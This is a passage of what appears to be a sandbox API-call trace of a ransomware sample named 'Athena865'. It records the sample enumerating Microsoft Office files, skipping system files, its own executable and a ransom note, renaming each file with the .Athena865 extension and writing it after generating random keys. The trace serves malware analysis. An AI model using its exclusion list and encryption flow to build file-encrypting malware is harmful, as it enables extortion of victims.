dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.579] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0086.580] CloseHandle (hObject=0x154) returned 1 [0086.580] CloseHandle (hObject=0x17c) returned 1 [0086.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.580] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x22dd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VBLZ0007.TLL", cAlternateFileName="")) returned 1 [0086.581] lstrcmpiW (lpString1="VBLZ0007.TLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.581] lstrcmpiW (lpString1="VBLZ0007.TLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.581] lstrcmpiW (lpString1="VBLZ0007.TLL", lpString2=".") returned 1 [0086.581] lstrcmpiW (lpString1="VBLZ0007.TLL", lpString2="..") returned 1 [0086.581] lstrcmpiW (lpString1="VBLZ0007.TLL", lpString2="windows") returned -1 [0086.581] lstrcmpiW (lpString1="VBLZ0007.TLL", lpString2="bootmgr") returned 1 [0086.581] lstrcmpiW (lpString1="VBLZ0007.TLL", lpString2="temp") returned 1 [0086.581] lstrcmpiW (lpString1="VBLZ0007.TLL", lpString2="pagefile.sys") returned 1 [0086.581] lstrcmpiW (lpString1="VBLZ0007.TLL", lpString2="boot") returned 1 [0086.581] lstrcmpiW (lpString1="VBLZ0007.TLL", lpString2="ids.txt") returned 1 [0086.581] lstrcmpiW (lpString1="VBLZ0007.TLL", lpString2="ntuser.dat") returned 1 [0086.581] lstrcmpiW (lpString1="VBLZ0007.TLL", lpString2="perflogs") returned 1 [0086.581] lstrcmpiW (lpString1="VBLZ0007.TLL", lpString2="MSBuild") returned 1 [0086.581] lstrlenW (lpString="VBLZ0007.TLL") returned 12 [0086.581] lstrcpyW (in: lpString1=0x241e89e, lpString2="VBLZ0007.TLL" | out: lpString1="VBLZ0007.TLL") returned="VBLZ0007.TLL" [0086.581] lstrlenW (lpString="VBLZ0007.TLL") returned 12 [0086.581] lstrlenW (lpString="Athena865") returned 9 [0086.581] lstrcmpiW (lpString1="Z0007.TLL", lpString2="Athena865") returned 1 [0086.581] lstrlenW (lpString=".dll") returned 4 [0086.581] lstrcmpiW (lpString1="VBLZ0007.TLL", lpString2=".dll") returned 1 [0086.581] lstrlenW (lpString=".lnk") returned 4 [0086.581] lstrcmpiW (lpString1="VBLZ0007.TLL", lpString2=".lnk") returned 1 [0086.581] lstrlenW (lpString=".ini") returned 4 [0086.581] lstrcmpiW (lpString1="VBLZ0007.TLL", lpString2=".ini") returned 1 [0086.581] lstrlenW (lpString=".sys") returned 4 [0086.581] lstrcmpiW (lpString1="VBLZ0007.TLL", lpString2=".sys") returned 1 [0086.581] lstrlenW (lpString="VBLZ0007.TLL") returned 12 [0086.581] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0007.TLL.Athena865") returned 65 [0086.581] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0007.TLL" (normalized: "c:\\program files\\microsoft office\\office14\\vblz0007.tll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0007.TLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vblz0007.tll.athena865"), dwFlags=0x1) returned 1 [0086.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0007.TLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vblz0007.tll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.583] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=142808) returned 1 [0086.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.583] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.584] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.584] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.584] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x230e0, lpName=0x0) returned 0x154 [0086.586] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x230e0) returned 0x170000 [0086.591] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.591] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.591] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.592] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0086.593] CloseHandle (hObject=0x154) returned 1 [0086.593] CloseHandle (hObject=0x17c) returned 1 [0086.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.594] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x1f1b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VBLZ0009.TLL", cAlternateFileName="")) returned 1 [0086.594] lstrcmpiW (lpString1="VBLZ0009.TLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.594] lstrcmpiW (lpString1="VBLZ0009.TLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.594] lstrcmpiW (lpString1="VBLZ0009.TLL", lpString2=".") returned 1 [0086.594] lstrcmpiW (lpString1="VBLZ0009.TLL", lpString2="..") returned 1 [0086.594] lstrcmpiW (lpString1="VBLZ0009.TLL", lpString2="windows") returned -1 [0086.594] lstrcmpiW (lpString1="VBLZ0009.TLL", lpString2="bootmgr") returned 1 [0086.594] lstrcmpiW (lpString1="VBLZ0009.TLL", lpString2="temp") returned 1 [0086.594] lstrcmpiW (lpString1="VBLZ0009.TLL", lpString2="pagefile.sys") returned 1 [0086.594] lstrcmpiW (lpString1="VBLZ0009.TLL", lpString2="boot") returned 1 [0086.595] lstrcmpiW (lpString1="VBLZ0009.TLL", lpString2="ids.txt") returned 1 [0086.595] lstrcmpiW (lpString1="VBLZ0009.TLL", lpString2="ntuser.dat") returned 1 [0086.595] lstrcmpiW (lpString1="VBLZ0009.TLL", lpString2="perflogs") returned 1 [0086.595] lstrcmpiW (lpString1="VBLZ0009.TLL", lpString2="MSBuild") returned 1 [0086.595] lstrlenW (lpString="VBLZ0009.TLL") returned 12 [0086.595] lstrcpyW (in: lpString1=0x241e89e, lpString2="VBLZ0009.TLL" | out: lpString1="VBLZ0009.TLL") returned="VBLZ0009.TLL" [0086.595] lstrlenW (lpString="VBLZ0009.TLL") returned 12 [0086.595] lstrlenW (lpString="Athena865") returned 9 [0086.595] lstrcmpiW (lpString1="Z0009.TLL", lpString2="Athena865") returned 1 [0086.595] lstrlenW (lpString=".dll") returned 4 [0086.595] lstrcmpiW (lpString1="VBLZ0009.TLL", lpString2=".dll") returned 1 [0086.595] lstrlenW (lpString=".lnk") returned 4 [0086.595] lstrcmpiW (lpString1="VBLZ0009.TLL", lpString2=".lnk") returned 1 [0086.595] lstrlenW (lpString=".ini") returned 4 [0086.595] lstrcmpiW (lpString1="VBLZ0009.TLL", lpString2=".ini") returned 1 [0086.595] lstrlenW (lpString=".sys") returned 4 [0086.595] lstrcmpiW (lpString1="VBLZ0009.TLL", lpString2=".sys") returned 1 [0086.595] lstrlenW (lpString="VBLZ0009.TLL") returned 12 [0086.595] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0009.TLL.Athena865") returned 65 [0086.595] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0009.TLL" (normalized: "c:\\program files\\microsoft office\\office14\\vblz0009.tll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0009.TLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vblz0009.tll.athena865"), dwFlags=0x1) returned 1 [0086.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0009.TLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vblz0009.tll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.596] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=127408) returned 1 [0086.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.596] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.597] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.597] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.597] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f4b0, lpName=0x0) returned 0x154 [0086.599] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f4b0) returned 0x100000 [0086.603] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.604] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.604] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.604] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0086.606] CloseHandle (hObject=0x154) returned 1 [0086.606] CloseHandle (hObject=0x17c) returned 1 [0086.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.606] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x29bd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VBLZ000C.TLL", cAlternateFileName="")) returned 1 [0086.606] lstrcmpiW (lpString1="VBLZ000C.TLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.606] lstrcmpiW (lpString1="VBLZ000C.TLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.606] lstrcmpiW (lpString1="VBLZ000C.TLL", lpString2=".") returned 1 [0086.607] lstrcmpiW (lpString1="VBLZ000C.TLL", lpString2="..") returned 1 [0086.607] lstrcmpiW (lpString1="VBLZ000C.TLL", lpString2="windows") returned -1 [0086.607] lstrcmpiW (lpString1="VBLZ000C.TLL", lpString2="bootmgr") returned 1 [0086.607] lstrcmpiW (lpString1="VBLZ000C.TLL", lpString2="temp") returned 1 [0086.607] lstrcmpiW (lpString1="VBLZ000C.TLL", lpString2="pagefile.sys") returned 1 [0086.607] lstrcmpiW (lpString1="VBLZ000C.TLL", lpString2="boot") returned 1 [0086.607] lstrcmpiW (lpString1="VBLZ000C.TLL", lpString2="ids.txt") returned 1 [0086.607] lstrcmpiW (lpString1="VBLZ000C.TLL", lpString2="ntuser.dat") returned 1 [0086.607] lstrcmpiW (lpString1="VBLZ000C.TLL", lpString2="perflogs") returned 1 [0086.607] lstrcmpiW (lpString1="VBLZ000C.TLL", lpString2="MSBuild") returned 1 [0086.607] lstrlenW (lpString="VBLZ000C.TLL") returned 12 [0086.607] lstrcpyW (in: lpString1=0x241e89e, lpString2="VBLZ000C.TLL" | out: lpString1="VBLZ000C.TLL") returned="VBLZ000C.TLL" [0086.607] lstrlenW (lpString="VBLZ000C.TLL") returned 12 [0086.607] lstrlenW (lpString="Athena865") returned 9 [0086.607] lstrcmpiW (lpString1="Z000C.TLL", lpString2="Athena865") returned 1 [0086.607] lstrlenW (lpString=".dll") returned 4 [0086.607] lstrcmpiW (lpString1="VBLZ000C.TLL", lpString2=".dll") returned 1 [0086.607] lstrlenW (lpString=".lnk") returned 4 [0086.607] lstrcmpiW (lpString1="VBLZ000C.TLL", lpString2=".lnk") returned 1 [0086.607] lstrlenW (lpString=".ini") returned 4 [0086.607] lstrcmpiW (lpString1="VBLZ000C.TLL", lpString2=".ini") returned 1 [0086.607] lstrlenW (lpString=".sys") returned 4 [0086.607] lstrcmpiW (lpString1="VBLZ000C.TLL", lpString2=".sys") returned 1 [0086.607] lstrlenW (lpString="VBLZ000C.TLL") returned 12 [0086.607] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ000C.TLL.Athena865") returned 65 [0086.607] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ000C.TLL" (normalized: "c:\\program files\\microsoft office\\office14\\vblz000c.tll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ000C.TLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vblz000c.tll.athena865"), dwFlags=0x1) returned 1 [0086.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ000C.TLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vblz000c.tll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.608] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=170968) returned 1 [0086.608] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.609] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.609] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.609] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.610] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x29ee0, lpName=0x0) returned 0x154 [0086.611] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x29ee0) returned 0x170000 [0086.617] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.618] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.618] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.618] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.618] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.618] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.618] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.618] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.618] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.618] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.618] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.618] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.618] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.618] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0086.620] CloseHandle (hObject=0x154) returned 1 [0086.620] CloseHandle (hObject=0x17c) returned 1 [0086.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.621] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x84f5b140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x1d9e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VBLZ0011.TLL", cAlternateFileName="")) returned 1 [0086.621] lstrcmpiW (lpString1="VBLZ0011.TLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.621] lstrcmpiW (lpString1="VBLZ0011.TLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.621] lstrcmpiW (lpString1="VBLZ0011.TLL", lpString2=".") returned 1 [0086.621] lstrcmpiW (lpString1="VBLZ0011.TLL", lpString2="..") returned 1 [0086.621] lstrcmpiW (lpString1="VBLZ0011.TLL", lpString2="windows") returned -1 [0086.621] lstrcmpiW (lpString1="VBLZ0011.TLL", lpString2="bootmgr") returned 1 [0086.621] lstrcmpiW (lpString1="VBLZ0011.TLL", lpString2="temp") returned 1 [0086.621] lstrcmpiW (lpString1="VBLZ0011.TLL", lpString2="pagefile.sys") returned 1 [0086.621] lstrcmpiW (lpString1="VBLZ0011.TLL", lpString2="boot") returned 1 [0086.621] lstrcmpiW (lpString1="VBLZ0011.TLL", lpString2="ids.txt") returned 1 [0086.621] lstrcmpiW (lpString1="VBLZ0011.TLL", lpString2="ntuser.dat") returned 1 [0086.621] lstrcmpiW (lpString1="VBLZ0011.TLL", lpString2="perflogs") returned 1 [0086.621] lstrcmpiW (lpString1="VBLZ0011.TLL", lpString2="MSBuild") returned 1 [0086.621] lstrlenW (lpString="VBLZ0011.TLL") returned 12 [0086.621] lstrcpyW (in: lpString1=0x241e89e, lpString2="VBLZ0011.TLL" | out: lpString1="VBLZ0011.TLL") returned="VBLZ0011.TLL" [0086.621] lstrlenW (lpString="VBLZ0011.TLL") returned 12 [0086.621] lstrlenW (lpString="Athena865") returned 9 [0086.621] lstrcmpiW (lpString1="Z0011.TLL", lpString2="Athena865") returned 1 [0086.621] lstrlenW (lpString=".dll") returned 4 [0086.622] lstrcmpiW (lpString1="VBLZ0011.TLL", lpString2=".dll") returned 1 [0086.622] lstrlenW (lpString=".lnk") returned 4 [0086.622] lstrcmpiW (lpString1="VBLZ0011.TLL", lpString2=".lnk") returned 1 [0086.622] lstrlenW (lpString=".ini") returned 4 [0086.622] lstrcmpiW (lpString1="VBLZ0011.TLL", lpString2=".ini") returned 1 [0086.622] lstrlenW (lpString=".sys") returned 4 [0086.622] lstrcmpiW (lpString1="VBLZ0011.TLL", lpString2=".sys") returned 1 [0086.622] lstrlenW (lpString="VBLZ0011.TLL") returned 12 [0086.622] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0011.TLL.Athena865") returned 65 [0086.622] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0011.TLL" (normalized: "c:\\program files\\microsoft office\\office14\\vblz0011.tll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0011.TLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vblz0011.tll.athena865"), dwFlags=0x1) returned 1 [0086.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0011.TLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vblz0011.tll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.623] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=121312) returned 1 [0086.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.624] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.624] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.624] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.625] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1dce0, lpName=0x0) returned 0x154 [0086.626] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1dce0) returned 0x100000 [0086.630] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.631] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.631] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, 